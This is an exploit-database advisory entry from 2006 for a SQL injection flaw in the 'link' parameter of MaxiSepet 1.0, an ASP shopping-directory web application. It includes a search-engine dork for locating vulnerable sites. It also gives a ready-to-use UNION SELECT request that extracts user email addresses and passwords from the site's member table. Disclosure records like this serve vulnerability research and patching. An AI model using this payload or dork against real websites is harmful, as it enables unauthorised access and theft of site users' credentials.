MaxiSepet 1.0 - 'link' SQL Injection

Author: nukedx
type: webapps
platform: asp
port: 
date_added: 2006-06-10  
date_updated:   
verified: 1  
codes:   
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 1900.txt  

#Method found by nukedx
#Contacts > ICQ: 10072 MSN/Main: nukedx@nukedx.com web: www.nukedx.com
#Original advisory: http://www.nukedx.com/?viewdoc=42
#Title: MaxiSepet <= 1.0 (link) SQL Injection Vulnerability.

#Dork: "Copyright MaxiSepet ©"

#How: Parameter link did not sanitized properly.

#Example: GET -> http://www.victim.com/maxisepetdirectory/default.asp?git=11&link=SQL

#Example: GET -> http://www.victim.com/maxisepetdirectory/default.asp?git=11&link=-1+UNION+SELECT+concat('Üye%20adi:%20<b>',email,'</b><br>','Þifre:%20<b>',sifre,'</b>')+from+uye+ORDER BY email ASC

# nukedx.com [2006-06-11]

# milw0rm.com [2006-06-11]